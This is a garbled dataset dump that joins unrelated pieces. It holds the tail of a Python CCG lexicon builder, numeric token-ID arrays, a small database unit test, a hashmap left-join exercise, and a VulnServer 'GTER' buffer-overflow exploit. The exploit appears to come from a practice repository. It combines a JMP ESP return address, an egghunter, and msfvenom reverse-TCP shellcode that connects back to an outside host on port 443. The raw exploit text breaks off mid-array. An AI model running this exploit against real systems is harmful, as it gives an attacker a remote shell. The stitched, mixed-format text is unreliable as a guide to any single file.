progress += 1
if (progress / tick) > 79 or done:
sys.stdout.write('.\n')
sys.stdout.flush()
return 0
elif (progress % tick) == 0:
sys.stdout.write('.')
sys.stdout.flush()
return progress
idsrch = re.compile(r'^.*ccg_derivation(?P<id>\d+)\.txt')
def make_lexicon(daemon):
global pypath, projdir, datapath, idsrch
allfiles = []
projdir = os.path.dirname(os.path.dirname(__file__))
easysrl_path = os.path.join(projdir, 'data', 'ldc', daemon, 'lexicon')
if not os.path.exists(easysrl_path):
os.makedirs(easysrl_path)
if not os.path.exists(os.path.join(easysrl_path, 'rt')):
os.makedirs(os.path.join(easysrl_path, 'rt'))
if not os.path.exists(os.path.join(easysrl_path, 'az')):
os.makedirs(os.path.join(easysrl_path, 'az'))
# Get files
ldcpath = os.path.join(projdir, 'data', 'ldc', daemon, 'ccgbank')
dirlist1 = sorted(os.listdir(ldcpath))
#dirlist1 = ['ccg_derivation00.txt']
for fname in dirlist1:
if 'ccg_derivation' not in fname:
continue
ldcpath1 = os.path.join(ldcpath, fname)
if os.path.isfile(ldcpath1):
allfiles.append(ldcpath1)
failed_parse = 0
failed_ccg_derivation = []
start = 0
progress = -1
dictionary = None
for fn in allfiles:
idx = idsrch.match(fn)
if idx is None:
continue
idx = idx.group('id')
with open(fn, 'r') as fd:
lines = fd.readlines()
name, _ = os.path.splitext(os.path.basename(fn))
for i in range(start, len(lines)):
start = 0
ccgbank = lines[i].strip()
if len(ccgbank) == 0 or ccgbank[0] == '#':
continue
if progress < 0:
print('%s-%04d' % (name, i))
else:
progress = print_progress(progress, 10)
try:
# CCG parser is Java so output is UTF-8.
ccgbank = safe_utf8_decode(ccgbank)
pt = parse_ccg_derivation(ccgbank)
s = sentence_from_pt(pt).strip()
except Exception:
failed_parse += 1
raise
continue
uid = '%s-%04d' % (idx, i)
try:
#dictionary[0-25][stem][set([c]), set(uid)]
dictionary = extract_lexicon_from_pt(pt, dictionary, uid=uid)
except Exception as e:
print(e)
raise
continue
rtdict = {}
for idx in range(len(dictionary)):
fname = unichr(idx+0x40)
filepath = os.path.join(easysrl_path, 'az', fname + '.txt')
with open(filepath, 'w') as fd:
d = dictionary[idx]
for k, v in d.iteritems():
# k == stem, v = {c: set(uid)}
fd.write(b'<predicate name=\'%s\'>\n' % safe_utf8_encode(k))
for x, w in v.iteritems():
fd.write(b'<usage \'%s\'>\n' % safe_utf8_encode(x))
nc = x.split(':')
if len(nc) == 2:
c = Category.from_cache(Category(nc[1].strip()).clean(True))
# Return type atom
rt = c.extract_unify_atoms(False)[-1]
if rt in rtdict:
cdict = rtdict[rt]
if c in cdict:
cdict[c].append(nc[0])
else:
cdict[c] = [nc[0]]
else:
rtdict[rt] = {c: [nc[0]]}
for y in w:
fd.write(b'sentence id: ' + safe_utf8_encode(y))
fd.write(b'\n')
fd.write(b'</usage>\n')
fd.write(b'</predicate>\n\n')
# Free up memory
dictionary[idx] = None
d = None
for rt, cdict in rtdict.iteritems():
fname = rt.signature.replace('[', '_').replace(']', '')
filepath = os.path.join(easysrl_path, 'rt', fname + '.txt')
with open(filepath, 'w') as fd:
for c, vs in cdict.iteritems():
fd.write(b'<category signature=\'%s\'>\n' % safe_utf8_encode(c))
for v in vs:
fd.write(v)
fd.write(b'\n')
fd.write(b'</category>\n\n')
if __name__ == '__main__':
make_lexicon('easysrl')
make_lexicon('neuralccg')
| [
1,
529,
276,
1112,
420,
29958,
3034,
7586,
29899,
1794,
29914,
347,
13,
29937,
14708,
4855,
29914,
2109,
29914,
6272,
3017,
13,
29937,
448,
29930,
29899,
14137,
29901,
23616,
29899,
29947,
448,
29930,
29899,
13,
3166,
4770,
29888,
9130,
1649,
1053,
29104,
29918,
20889,
1338,
29892,
1596,
29918,
2220,
13,
13,
5215,
2897,
13,
5215,
337,
13,
5215,
10876,
13,
13,
29937,
3382,
1598,
3017,
2224,
13,
20865,
3972,
353,
2897,
29889,
2084,
29889,
25721,
29898,
359,
29889,
2084,
29889,
370,
1028,
493,
29898,
359,
29889,
2084,
29889,
25721,
22168,
1445,
1649,
4961,
13,
29886,
1478,
493,
353,
2897,
29889,
2084,
29889,
7122,
29898,
20865,
3972,
29892,
525,
4351,
742,
525,
4691,
1495,
13,
4130,
481,
493,
353,
2897,
29889,
2084,
29889,
7122,
29898,
29886,
1478,
493,
29892,
525,
3034,
7586,
742,
525,
347,
742,
525,
29881,
2273,
1495,
13,
9675,
29889,
2084,
29889,
7851,
29898,
29900,
29892,
282,
1478,
493,
29897,
13,
13,
13,
29937,
3166,
1766,
7586,
29889,
347,
29889,
5510,
1053,
6088,
29918,
617,
29887,
29918,
672,
440,
362,
13,
3166,
1766,
7586,
29889,
347,
29889,
617,
29887,
1053,
6088,
29918,
617,
29887,
29918,
672,
440,
362,
29906,
408,
6088,
29918,
617,
29887,
29918,
672,
440,
362,
13,
3166,
1766,
7586,
29889,
347,
29889,
617,
29887,
29889,
13239,
1053,
10541,
29918,
3166,
29918,
415,
13,
3166,
1766,
7586,
29889,
347,
29889,
12846,
22614,
29889,
617,
29887,
1053,
6597,
29918,
2506,
4144,
29918,
3166,
29918,
415,
13,
3166,
1766,
7586,
29889,
347,
29889,
617,
29887,
1053,
17943,
13,
3166,
1766,
7586,
1053,
9109,
29918,
9420,
29947,
29918,
12508,
29892,
9109,
29918,
9420,
29947,
29918,
13808,
13,
13,
13,
1753,
762,
29898,
29879,
1125,
13,
1678,
1596,
877,
2392,
29901,
1273,
29879,
29915,
1273,
29879,
29897,
13,
1678,
10876,
29889,
13322,
29898,
29896,
29897,
13,
13,
13,
1753,
1596,
29918,
18035,
29898,
18035,
29892,
16892,
29922,
29896,
29892,
2309,
29922,
8824,
1125,
13,
1678,
6728,
4619,
29871,
29896,
13,
1678,
565,
313,
18035,
847,
16892,
29897,
1405,
29871,
29955,
29929,
470,
2309,
29901,
13,
4706,
10876,
29889,
25393,
29889,
3539,
877,
7790,
29876,
1495,
13,
4706,
10876,
29889,
25393,
29889,
23126,
580,
13,
4706,
736,
29871,
29900,
13,
1678,
25342,
313,
18035,
1273,
16892,
29897,
1275,
29871,
29900,
29901,
13,
4706,
10876,
29889,
25393,
29889,
3539,
12839,
1495,
13,
4706,
10876,
29889,
25393,
29889,
23126,
580,
13,
1678,
736,
6728,
13,
13,
13,
4841,
29878,
305,
353,
337,
29889,
12198,
29898,
29878,
29915,
29985,
5575,
617,
29887,
29918,
672,
440,
362,
10780,
29925,
29966,
333,
14247,
29881,
29974,
2144,
29889,
3945,
1495,
13,
13,
13,
1753,
1207,
29918,
2506,
4144,
29898,
1388,
9857,
1125,
13,
1678,
5534,
282,
1478,
493,
29892,
410,
29926,
3972,
29892,
1418,
481,
493,
29892,
18999,
29878,
305,
13,
1678,
599,
5325,
353,
5159,
13,
1678,
410,
29926,
3972,
353,
2897,
29889,
2084,
29889,
25721,
29898,
359,
29889,
2084,
29889,
25721,
22168,
1445,
1649,
876,
13,
13,
1678,
2240,
952,
2096,
29918,
2084,
353,
2897,
29889,
2084,
29889,
7122,
29898,
20865,
3972,
29892,
525,
1272,
742,
525,
430,
29883,
742,
1146,
9857,
29892,
525,
2506,
4144,
1495,
13,
1678,
565,
451,
2897,
29889,
2084,
29889,
9933,
29898,
29872,
294,
952,
2096,
29918,
2084,
1125,
13,
4706,
2897,
29889,
29885,
12535,
12935,
29898,
29872,
294,
952,
2096,
29918,
2084,
29897,
13,
1678,
565,
451,
2897,
29889,
2084,
29889,
9933,
29898,
359,
29889,
2084,
29889,
7122,
29898,
29872,
294,
952,
2096,
29918,
2084,
29892,
525,
2273,
8785,
29901,
13,
4706,
2897,
29889,
29885,
12535,
12935,
29898,
359,
29889,
2084,
29889,
7122,
29898,
29872,
294,
952,
2096,
29918,
2084,
29892,
525,
2273,
8785,
13,
1678,
565,
451,
2897,
29889,
2084,
29889,
9933,
29898,
359,
29889,
2084,
29889,
7122,
29898,
29872,
294,
952,
2096,
29918,
2084,
29892,
525,
834,
8785,
29901,
13,
4706,
2897,
29889,
29885,
12535,
12935,
29898,
359,
29889,
2084,
29889,
7122,
29898,
29872,
294,
952,
2096,
29918,
2084,
29892,
525,
834,
8785,
13,
13,
1678,
396,
3617,
2066,
13,
1678,
301,
13891,
2084,
353,
2897,
29889,
2084,
29889,
7122,
29898,
20865,
3972,
29892,
525,
1272,
742,
525,
430,
29883,
742,
1146,
9857,
29892,
525,
617,
29887,
9157,
1495,
13,
1678,
4516,
1761,
29896,
353,
12705,
29898,
359,
29889,
1761,
3972,
29898,
430,
29883,
2084,
876,
13,
1678,
396,
3972,
1761,
29896,
353,
6024,
617,
29887,
29918,
672,
440,
362,
29900,
29900,
29889,
3945,
2033,
13,
1678,
363,
285,
978,
297,
4516,
1761,
29896,
29901,
13,
4706,
565,
525,
617,
29887,
29918,
672,
440,
362,
29915,
451,
297,
285,
978,
29901,
13,
9651,
6773,
13,
4706,
301,
13891,
2084,
29896,
353,
2897,
29889,
2084,
29889,
7122,
29898,
430,
29883,
2084,
29892,
285,
978,
29897,
13,
4706,
565,
2897,
29889,
2084,
29889,
275,
1445,
29898,
430,
29883,
2084,
29896,
1125,
13,
9651,
599,
5325,
29889,
4397,
29898,
430,
29883,
2084,
29896,
29897,
13,
13,
1678,
5229,
29918,
5510,
353,
29871,
29900,
13,
1678,
5229,
29918,
617,
29887,
29918,
672,
440,
362,
353,
5159,
13,
1678,
1369,
353,
29871,
29900,
13,
1678,
6728,
353,
448,
29896,
13,
1678,
8600,
353,
6213,
13,
1678,
363,
7876,
297,
599,
5325,
29901,
13,
4706,
22645,
353,
18999,
29878,
305,
29889,
4352,
29898,
9144,
29897,
13,
4706,
565,
22645,
338,
6213,
29901,
13,
9651,
6773,
13,
4706,
22645,
353,
22645,
29889,
2972,
877,
333,
1495,
13,
13,
4706,
411,
1722,
29898,
9144,
29892,
525,
29878,
1495,
408,
285,
29881,
29901,
13,
9651,
3454,
353,
285,
29881,
29889,
949,
9012,
580,
13,
13,
4706,
1024,
29892,
903,
353,
2897,
29889,
2084,
29889,
23579,
568,
486,
29898,
359,
29889,
2084,
29889,
6500,
3871,
29898,
9144,
876,
13,
4706,
363,
474,
297,
3464,
29898,
2962,
29892,
7431,
29898,
9012,
22164,
13,
9651,
1369,
353,
29871,
29900,
13,
9651,
21759,
29887,
9157,
353,
3454,
29961,
29875,
1822,
17010,
580,
13,
9651,
565,
7431,
29898,
617,
29887,
9157,
29897,
1275,
29871,
29900,
470,
21759,
29887,
9157,
29961,
29900,
29962,
1275,
16321,
2396,
13,
18884,
6773,
13,
13,
9651,
565,
6728,
529,
29871,
29900,
29901,
13,
18884,
1596,
877,
29995,
29879,
19222,
29900,
29946,
29881,
29915,
1273,
313,
978,
29892,
474,
876,
13,
9651,
1683,
29901,
13,
18884,
6728,
353,
1596,
29918,
18035,
29898,
18035,
29892,
29871,
29896,
29900,
29897,
13,
13,
9651,
1018,
29901,
13,
18884,
396,
315,
11135,
13812,
338,
3355,
577,
1962,
338,
18351,
29899,
29947,
29889,
13,
18884,
21759,
29887,
9157,
353,
9109,
29918,
9420,
29947,
29918,
13808,
29898,
617,
29887,
9157,
29897,
13,
18884,
19592,
353,
6088,
29918,
617,
29887,
29918,
672,
440,
362,
29898,
617,
29887,
9157,
29897,
13,
18884,
269,
353,
10541,
29918,
3166,
29918,
415,
29898,
415,
467,
17010,
580,
13,
9651,
5174,
8960,
29901,
13,
18884,
5229,
29918,
5510,
4619,
29871,
29896,
13,
18884,
12020,
13,
18884,
6773,
13,
13,
9651,
318,
333,
353,
14210,
29879,
19222,
29900,
29946,
29881,
29915,
1273,
313,
13140,
29892,
474,
29897,
13,
9651,
1018,
29901,
13,
18884,
396,
27126,
29961,
29900,
29899,
29906,
29945,
3816,
303,
331,
3816,
842,
4197,
29883,
11724,
731,
29898,
5416,
4638,
13,
18884,
8600,
353,
6597,
29918,
2506,
4144,
29918,
3166,
29918,
415,
29898,
415,
29892,
8600,
29892,
318,
333,
29922,
5416,
29897,
13,
9651,
5174,
8960,
408,
321,
29901,
13,
18884,
1596,
29898,
29872,
29897,
13,
18884,
12020,
13,
18884,
6773,
13,
13,
1678,
364,
1594,
919,
353,
6571,
13,
1678,
363,
22645,
297,
3464,
29898,
2435,
29898,
27126,
22164,
13,
4706,
285,
978,
353,
443,
436,
29878,
29898,
13140,
29974,
29900,
29916,
29946,
29900,
29897,
13,
4706,
934,
2084,
353,
2897,
29889,
2084,
29889,
7122,
29898,
29872,
294,
952,
2096,
29918,
2084,
29892,
525,
834,
742,
285,
978,
718,
15300,
3945,
1495,
13,
4706,
411,
1722,
29898,
1445,
2084,
29892,
525,
29893,
1495,
408,
285,
29881,
29901,
13,
9651,
270,
353,
8600,
29961,
13140,
29962,
13,
9651,
363,
413,
29892,
325,
297,
270,
29889,
1524,
7076,
7295,
13,
18884,
396,
413,
1275,
20805,
29892,
325,
353,
426,
29883,
29901,
731,
29898,
5416,
2915,
13,
18884,
285,
29881,
29889,
3539,
29898,
29890,
29915,
29966,
11965,
9593,
1024,
2013,
29915,
29995,
29879,
29905,
11041,
29905,
29876,
29915,
1273,
9109,
29918,
9420,
29947,
29918,
12508,
29898,
29895,
876,
13,
18884,
363,
921,
29892,
281,
297,
325,
29889,
1524,
7076,
7295,
13,
462,
1678,
285,
29881,
29889,
3539,
29898,
29890,
29915,
29966,
21125,
320,
29915,
29995,
29879,
29905,
11041,
29905,
29876,
29915,
1273,
9109,
29918,
9420,
29947,
29918,
12508,
29898,
29916,
876,
13,
462,
1678,
302,
29883,
353,
921,
29889,
5451,
877,
29901,
1495,
13,
462,
1678,
565,
7431,
29898,
17608,
29897,
1275,
29871,
29906,
29901,
13,
462,
4706,
274,
353,
17943,
29889,
3166,
29918,
8173,
29898,
10900,
29898,
17608,
29961,
29896,
1822,
17010,
16655,
14941,
29898,
5574,
876,
13,
462,
4706,
396,
7106,
1134,
12301,
13,
462,
4706,
364,
29873,
353,
274,
29889,
21111,
29918,
348,
1598,
29918,
271,
4835,
29898,
8824,
9601,
29899,
29896,
29962,
13,
462,
4706,
565,
364,
29873,
297,
364,
1594,
919,
29901,
13,
462,
9651,
274,
8977,
353,
364,
1594,
919,
29961,
2273,
29962,
13,
462,
9651,
565,
274,
297,
274,
8977,
29901,
13,
462,
18884,
274,
8977,
29961,
29883,
1822,
4397,
29898,
17608,
29961,
29900,
2314,
13,
462,
9651,
1683,
29901,
13,
462,
18884,
274,
8977,
29961,
29883,
29962,
353,
518,
17608,
29961,
29900,
5262,
13,
462,
4706,
1683,
29901,
13,
462,
9651,
364,
1594,
919,
29961,
2273,
29962,
353,
426,
29883,
29901,
518,
17608,
29961,
29900,
5262,
29913,
13,
462,
1678,
363,
343,
297,
281,
29901,
13,
462,
4706,
285,
29881,
29889,
3539,
29898,
29890,
29915,
18616,
663,
1178,
29901,
525,
718,
9109,
29918,
9420,
29947,
29918,
12508,
29898,
29891,
876,
13,
462,
4706,
285,
29881,
29889,
3539,
29898,
29890,
12764,
29876,
1495,
13,
462,
1678,
285,
29881,
29889,
3539,
29898,
29890,
29915,
829,
21125,
14247,
29876,
1495,
13,
18884,
285,
29881,
29889,
3539,
29898,
29890,
29915,
829,
11965,
9593,
14247,
29876,
29905,
29876,
1495,
13,
9651,
396,
12362,
701,
3370,
13,
9651,
8600,
29961,
13140,
29962,
353,
6213,
13,
9651,
270,
353,
6213,
13,
1678,
363,
364,
29873,
29892,
274,
8977,
297,
364,
1594,
919,
29889,
1524,
7076,
7295,
13,
4706,
285,
978,
353,
364,
29873,
29889,
4530,
1535,
29889,
6506,
877,
29961,
742,
22868,
2824,
6506,
877,
29962,
742,
27255,
13,
4706,
934,
2084,
353,
2897,
29889,
2084,
29889,
7122,
29898,
29872,
294,
952,
2096,
29918,
2084,
29892,
525,
2273,
742,
285,
978,
718,
15300,
3945,
1495,
13,
4706,
411,
1722,
29898,
1445,
2084,
29892,
525,
29893,
1495,
408,
285,
29881,
29901,
13,
9651,
363,
274,
29892,
7186,
297,
274,
8977,
29889,
1524,
7076,
7295,
13,
18884,
285,
29881,
29889,
3539,
29898,
29890,
29915,
29966,
7320,
12608,
2013,
29915,
29995,
29879,
29905,
11041,
29905,
29876,
29915,
1273,
9109,
29918,
9420,
29947,
29918,
12508,
29898,
29883,
876,
13,
18884,
363,
325,
297,
7186,
29901,
13,
462,
1678,
285,
29881,
29889,
3539,
29898,
29894,
29897,
13,
462,
1678,
285,
29881,
29889,
3539,
29898,
29890,
12764,
29876,
1495,
13,
18884,
285,
29881,
29889,
3539,
29898,
29890,
29915,
829,
7320,
14247,
29876,
29905,
29876,
1495,
13,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
1678,
1207,
29918,
2506,
4144,
877,
29872,
294,
952,
2096,
1495,
13,
1678,
1207,
29918,
2506,
4144,
877,
484,
3631,
617,
29887,
1495,
13,
13,
13,
13,
13,
13,
2
] |
tests/test_msgdb.py | kozalosev/textUtilsBot | 6 | 199660 | <gh_stars>1-10
import msgdb
def test_database(tmpdir):
msgdb._mock_database(str(tmpdir.join('messages.db')))
rowid = msgdb.insert("Hello World")
assert rowid == 1
assert msgdb.select(rowid) == "Hello World"
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29896,
29899,
29896,
29900,
13,
5215,
10191,
2585,
13,
13,
13,
1753,
1243,
29918,
9803,
29898,
7050,
3972,
1125,
13,
1678,
10191,
2585,
3032,
17640,
29918,
9803,
29898,
710,
29898,
7050,
3972,
29889,
7122,
877,
19158,
29889,
2585,
29915,
4961,
13,
1678,
1948,
333,
353,
10191,
2585,
29889,
7851,
703,
10994,
2787,
1159,
13,
1678,
4974,
1948,
333,
1275,
29871,
29896,
13,
1678,
4974,
10191,
2585,
29889,
2622,
29898,
798,
333,
29897,
1275,
376,
10994,
2787,
29908,
13,
2
] |
hashmap-left-join/hashmap_left_join/left_join.py | Sewar-web/data-structures-and-algorithms1 | 0 | 32019 | <filename>hashmap-left-join/hashmap_left_join/left_join.py
import os
def left_join( hash , hash1):
words = []
for value in hash.keys():
if value in hash1.keys():
words.append([value, hash [value],hash1[value] ])
else:
words.append([value, hash [value],'NULL' ])
return words
if __name__ == "__main__":
hash = {
'fond':'enamored',
'wrath':'anger',
'diligent':'employed',
'outfit':'garb',
'guide':'usher'
}
hash1 = {
'fond':'averse',
'wrath':'delight',
'diligent':'idle',
'guide':'follow',
'flow':'jam'
}
print(left_join(hash,hash1) )
| [
1,
529,
9507,
29958,
8568,
1958,
29899,
1563,
29899,
7122,
29914,
8568,
1958,
29918,
1563,
29918,
7122,
29914,
1563,
29918,
7122,
29889,
2272,
13,
5215,
2897,
29871,
13,
13,
1753,
2175,
29918,
7122,
29898,
6608,
1919,
6608,
29896,
1125,
13,
268,
13,
1678,
3838,
353,
5159,
13,
13,
1678,
363,
995,
297,
29871,
6608,
29889,
8149,
7295,
13,
13,
4706,
565,
995,
297,
6608,
29896,
29889,
8149,
7295,
13,
9651,
3838,
29889,
4397,
4197,
1767,
29892,
6608,
518,
1767,
1402,
8568,
29896,
29961,
1767,
29962,
29871,
2314,
13,
632,
13,
632,
13,
13,
4706,
1683,
29901,
13,
13,
9651,
3838,
29889,
4397,
4197,
1767,
29892,
6608,
518,
1767,
1402,
29915,
10074,
29915,
29871,
2314,
13,
632,
13,
13,
1678,
736,
3838,
13,
13,
13,
13,
361,
4770,
978,
1649,
1275,
376,
1649,
3396,
1649,
1115,
13,
1678,
6608,
353,
426,
462,
462,
308,
13,
1678,
525,
29888,
898,
22099,
264,
314,
4395,
742,
13,
1678,
525,
15866,
493,
22099,
4600,
742,
13,
1678,
525,
29881,
309,
25692,
22099,
3451,
2376,
287,
742,
13,
1678,
525,
449,
9202,
22099,
5397,
29890,
742,
13,
1678,
525,
13075,
22099,
1878,
261,
29915,
13,
3986,
500,
13,
13,
1678,
6608,
29896,
353,
426,
13,
1678,
525,
29888,
898,
22099,
29874,
3901,
742,
13,
1678,
525,
15866,
493,
22099,
6144,
523,
742,
13,
1678,
525,
29881,
309,
25692,
22099,
333,
280,
742,
13,
1678,
525,
13075,
22099,
23031,
742,
13,
1678,
525,
1731,
22099,
29926,
314,
29915,
13,
965,
500,
13,
1678,
13,
1678,
1596,
29898,
1563,
29918,
7122,
29898,
8568,
29892,
8568,
29896,
29897,
1723,
13,
268,
2
] |
VulnServer/GTER/exploit.py | cwinfosec/practice | 1 | 53939 | <reponame>cwinfosec/practice
#!/usr/bin/env python
"""
Description: Vanilla Buffer Overflow w/ egghunter via "GTER" in VulnServer
Author: <NAME>
Contact: @cwinfosec (twitter)
Date: 9/15/2019
Tested On: Windows XP SP2 EN
[+] Usage: python expoit.py <IP> <PORT>
$ python exploit.py 127.0.0.1 21
"""
import socket
# 0x625011AF | JMP ESP | essfunc.dll
jmp_esp = "\xAF\x11\x50\x62"
#nasm > add eax,9
#00000000 83C009 add eax,byte +0x9
#nasm > jmp eax
#00000000 FFE0 jmp eax
stage_1 = "\x83\xC0\x09\xFF\xE0"
# d3rpd3rp egghunter
# Length: 32 bytes
egg_hunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x64\x33\x72\x70\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")
# msfvenom -p windows/shell_reverse_tcp LHOST=10.11.1.130 LPORT=443 EXITFUNC=thread -b "\x00" -e x86/shikata_ga_nai --platform windows --arch x86 -f C
# Payload size: 351 bytes
shellcode = ("\xbb\x31\x77\xa2\xc9\xdb\xd8\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1"
"\x52\x83\xea\xfc\x31\x5a\x0e\x03\x6b\x79\x40\x3c\x77\x6d\x06"
"\xbf\x87\x6e\x67\x49\x62\x5f\xa7\x2d\xe7\xf0\x17\x25\xa5\xfc"
"\xdc\x6b\x5d\x76\x90\xa3\x52\x3f\x1f\x92\x5d\xc0\x0c\xe6\xfc"
"\x42\x4f\x3b\xde\x7b\x80\x4e\x1f\xbb\xfd\xa3\x4d\x14\x89\x16"
"\x61\x11\xc7\xaa\x0a\x69\xc9\xaa\xef\x3a\xe8\x9b\xbe\x31\xb3"
"\x3b\x41\x95\xcf\x75\x59\xfa\xea\xcc\xd2\xc8\x81\xce\x32\x01"
"\x69\x7c\x7b\xad\x98\x7c\xbc\x0a\x43\x0b\xb4\x68\xfe\x0c\x03"
"\x12\x24\x98\x97\xb4\xaf\x3a\x73\x44\x63\xdc\xf0\x4a\xc8\xaa"
"\x5e\x4f\xcf\x7f\xd5\x6b\x44\x7e\x39\xfa\x1e\xa5\x9d\xa6\xc5"
"\xc4\x84\x02\xab\xf9\xd6\xec\x14\x5c\x9d\x01\x40\xed\xfc\x4d"
"\xa5\xdc\xfe\x8d\xa1\x57\x8d\xbf\x6e\xcc\x19\x8c\xe7\xca\xde"
"\xf3\xdd\xab\x70\x0a\xde\xcb\x59\xc9\x8a\x9b\xf1\xf8\xb2\x77"
"\x01\x04\x67\xd7\x51\xaa\xd8\x98\x01\x0a\x89\x70\x4b\x85\xf6"
"\x61\x74\x4f\x9f\x08\x8f\x18\xaa\xc7\x8e\x5a\xc2\xd5\x90\x5b"
"\xa8\x53\x76\x31\xde\x35\x21\xae\x47\x1c\xb9\x4f\x87\x8a\xc4"
"\x50\x03\x39\x39\x1e\xe4\x34\x29\xf7\x04\x03\x13\x5e\x1a\xb9"
"\x3b\x3c\x89\x26\xbb\x4b\xb2\xf0\xec\x1c\x04\x09\x78\xb1\x3f"
"\xa3\x9e\x48\xd9\x8c\x1a\x97\x1a\x12\xa3\x5a\x26\x30\xb3\xa2"
"\xa7\x7c\xe7\x7a\xfe\x2a\x51\x3d\xa8\x9c\x0b\x97\x07\x77\xdb"
"\x6e\x64\x48\x9d\x6e\xa1\x3e\x41\xde\x1c\x07\x7e\xef\xc8\x8f"
"\x07\x0d\x69\x6f\xd2\x95\x89\x92\xf6\xe3\x21\x0b\x93\x49\x2c"
"\xac\x4e\x8d\x49\x2f\x7a\x6e\xae\x2f\x0f\x6b\xea\xf7\xfc\x01"
"\x63\x92\x02\xb5\x84\xb7")
# Total Length: 173 bytes
buffer = "GTER /.:/" + egg_hunter
buffer += "A"*(147-len(egg_hunter))
buffer += jmp_esp
buffer += stage_1
buffer += "\x43"*11
try:
print "[+] Connecting to target"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.11.1.128", 9999))
print s.recv(1024)
print "[+] Sending stage 2 + shellcode"
s.send("RTIME d3rpd3rp" + shellcode)
print s.recv(1024)
s.close()
except:
print "[-] Something went wrong :("
try:
print "[+] Connecting to target"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.11.1.128", 9999))
print s.recv(1024)
print "[+] Sending stage 1 payload with length: %d" % len(buffer)
s.send(buffer)
s.close()
except:
print "[-] Something went wrong :("
| [
1,
529,
276,
1112,
420,
29958,
29883,
5080,
29888,
852,
29883,
29914,
29886,
1461,
625,
13,
29937,
14708,
4855,
29914,
2109,
29914,
6272,
3017,
13,
15945,
29908,
13,
9868,
29901,
6556,
2911,
16534,
28845,
281,
29914,
19710,
29882,
8428,
3025,
376,
29954,
4945,
29908,
297,
478,
352,
29876,
6004,
13,
13720,
29901,
529,
5813,
29958,
13,
13443,
29901,
732,
29883,
5080,
29888,
852,
29883,
313,
24946,
29897,
13,
2539,
29901,
29871,
29929,
29914,
29896,
29945,
29914,
29906,
29900,
29896,
29929,
13,
29911,
2868,
1551,
29901,
3852,
28932,
10937,
29906,
12524,
13,
13,
29961,
29974,
29962,
10783,
482,
29901,
3017,
429,
1129,
277,
29889,
2272,
529,
5690,
29958,
529,
15082,
29958,
29871,
13,
13,
29938,
3017,
16035,
277,
29889,
2272,
29871,
29896,
29906,
29955,
29889,
29900,
29889,
29900,
29889,
29896,
29871,
29906,
29896,
13,
15945,
29908,
13,
13,
5215,
9909,
462,
462,
462,
462,
462,
462,
308,
13,
13,
29937,
29871,
29900,
29916,
29953,
29906,
29945,
29900,
29896,
29896,
5098,
891,
435,
3580,
26480,
891,
3686,
9891,
29889,
12396,
13,
13,
29926,
1526,
29918,
9983,
353,
6634,
29916,
5098,
29905,
29916,
29896,
29896,
29905,
29916,
29945,
29900,
29905,
29916,
29953,
29906,
29908,
13,
13,
29937,
29876,
11625,
1405,
788,
321,
1165,
29892,
29929,
462,
462,
462,
462,
462,
462,
462,
462,
462,
462,
462,
462,
462,
3986,
13,
29937,
29900,
29900,
29900,
29900,
29900,
29900,
29900,
29900,
259,
29947,
29941,
29907,
29900,
29900,
29929,
9651,
788,
321,
1165,
29892,
10389,
718,
29900,
29916,
29929,
13,
29937,
29876,
11625,
1405,
432,
1526,
321,
1165,
13,
29937,
29900,
29900,
29900,
29900,
29900,
29900,
29900,
29900,
29871,
383,
16359,
29900,
795,
432,
1526,
321,
1165,
462,
462,
462,
462,
462,
29871,
13,
13,
19190,
29918,
29896,
353,
6634,
29916,
29947,
29941,
29905,
29916,
29907,
29900,
29905,
29916,
29900,
29929,
29905,
29916,
4198,
29905,
29916,
29923,
29900,
29908,
462,
462,
462,
462,
462,
29871,
13,
13,
29937,
270,
29941,
29878,
15926,
29941,
19080,
19710,
29882,
8428,
13,
29937,
365,
1477,
29901,
29871,
29941,
29906,
6262,
13,
13,
387,
29887,
29918,
29882,
8428,
353,
4852,
29905,
29916,
29953,
29953,
29905,
29916,
29947,
29896,
29905,
29916,
1113,
29905,
29916,
600,
29905,
29916,
29900,
29888,
29905,
29916,
29946,
29906,
29905,
29916,
29945,
29906,
29905,
29916,
29953,
29874,
29905,
29916,
29900,
29906,
29905,
29916,
29945,
29947,
29905,
29916,
2252,
29905,
29916,
29906,
29872,
29905,
29916,
29941,
29883,
29905,
29916,
29900,
29945,
29905,
29916,
29945,
29874,
29905,
29916,
29955,
29946,
29908,
13,
26732,
29916,
1389,
29905,
29916,
29890,
29947,
29905,
29916,
29953,
29946,
29905,
29916,
29941,
29941,
29905,
29916,
29955,
29906,
29905,
29916,
29955,
29900,
29905,
29916,
29947,
29890,
29905,
29916,
5444,
29905,
29916,
2142,
29905,
29916,
29955,
29945,
29905,
29916,
11248,
29905,
29916,
2142,
29905,
29916,
29955,
29945,
29905,
17115,
29955,
29905,
29916,
600,
29905,
17115,
29955,
1159,
13,
13,
29937,
286,
4668,
854,
290,
448,
29886,
5417,
29914,
15903,
29918,
24244,
29918,
23981,
365,
20832,
29922,
29896,
29900,
29889,
29896,
29896,
29889,
29896,
29889,
29896,
29941,
29900,
365,
15082,
29922,
29946,
29946,
29941,
8528,
1806,
29943,
3904,
29907,
29922,
7097,
448,
29890,
6634,
29916,
29900,
29900,
29908,
448,
29872,
921,
29947,
29953,
29914,
845,
638,
532,
29918,
3249,
29918,
1056,
29875,
1192,
12120,
5417,
1192,
1279,
921,
29947,
29953,
448,
29888,
315,
13,
29937,
14617,
1359,
2159,
29901,
29871,
29941,
29945,
29896,
6262,
462,
462,
462,
462,
462,
632,
13,
13,
15903,
401,
353,
4852,
29905,
29916,
1327,
29905,
29916,
29941,
29896,
29905,
29916,
29955,
29955,
29905,
17367,
29906,
29905,
21791,
29929,
29905,
29916,
2585,
29905,
29916,
29881,
29947,
29905,
29916,
29881,
29929,
29905,
29916,
29955,
29946,
29905,
29916,
29906,
29946,
29905,
24660,
29946,
29905,
29916,
29945,
29874,
29905,
29916,
29906,
29890,
29905,
21791,
29929,
29905,
29916,
29890,
29896,
29908,
13,
26732,
29916,
29945,
29906,
29905,
29916,
29947,
29941,
29905,
29916,
11248,
29905,
29916,
13801,
29905,
29916,
29941,
29896,
29905,
29916,
29945,
29874,
29905,
29916,
29900,
29872,
29905,
29916,
29900,
29941,
29905,
